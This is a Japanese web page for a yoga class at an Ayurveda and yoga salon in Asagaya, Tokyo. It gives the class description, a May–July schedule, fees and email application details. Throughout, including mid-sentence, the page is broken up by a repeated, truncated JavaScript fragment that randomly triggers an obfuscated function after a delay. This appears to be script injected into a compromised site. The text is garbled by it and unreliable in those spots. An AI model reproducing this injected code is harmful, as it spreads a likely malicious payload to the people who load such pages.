日々を過ごしています。
まったく悩みがないとはいえませんが、
ポジティブをモットーにしています。
朝日とともに起きて、暗くなったら眠る生活というのが
夢のまた夢。

《講師よりクラスの内容について》andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
体は不思議に満ちています。
もっとも不思議な
もっとも身近にある世界をのぞいてみましょう。
心身ともに、快調になるというおまけつき。
光り輝く体になれます。
普通のクラスよりも少しだけゆっくり、じっくり体を見つめます。
はげしく動かないクラスです。
アレンジを加えた太陽礼拝やシンプルなポーズを
時間をかけて行います。
あまり負荷をかけないで
筋肉をゆるめ、緊張をリリースすることができるように
していくのが目的です。
むずかしくしく考える必要はありません。
まずは、見つめてみましょう。
なにか、感じられればいいな、と。
軽い気持ちではじめてみませんか。
よかったら来てくださるとうれしいです。
心からお待ちしています。
クラスのはじまる2時間前くらいに
食事をすませてください。
マットはお貸しします。
動きやすい服装でどうぞ。
蓋付きの入れ物の飲み物、タオルなどをお持ちください。

※当サロンのヨーガクラスは、宗教等とは何の関係もありません
アーユルヴェーダ&ヨーガサロンmanas 《マナス》

ヨーガクラスの日程(5月22日現在)

東京・阿佐ヶ谷のアーユルヴェーダとヨーガのサロン manas《マナス》です!
今後のヨーガクラスの日時andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}の再掲載です!
5月24日(日)11時~ 受付終了
5月27日(水)15時~ 
6月6日(土)11時~
6月14日(日)11時~
6月24日(水)18時30分~
6月27日(土)11時~
7月5日(日)11時~
7月12日(日)11時~
7月20日(月・祝)15時~
7月25日(土)11時~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

※予約状況カレンダーにもUPしております。
 ⇒ マナス予約状況カレンダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
各回、4名までのこじんまりとしたクラスです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
私のように体が固い、いつも緊張が抜けないとかから、
なんとなく疲れが抜けない、悩みが多いなど心理的な疲労も
ヨーガを通じ自分を見つめることで、見えてくるものがあります。
大人数でポーズをとることではなく、少人数で体感する意識を高め
みんなで空間をシェアしていく、そういうクラスです。
【料金】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1回 1500円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ただし、5月末まではモニター価格で 1000円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です!
【参加申し込み】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
info@manas.tokyo 宛にメールにてお申し込みください。
件名は、「ヨーガクラス参加希望」でOKです。
こちらをクリックするとメールが立ち上がります!
①参加希望日時
②お名前
③お名前ふりがな
④お電話番号
⑤メールアドレス
を明記してお送りくださいませ。
お申込みお待ちしております。
アーユルヴェーダ&ヨーガサロンmanas 《マナス》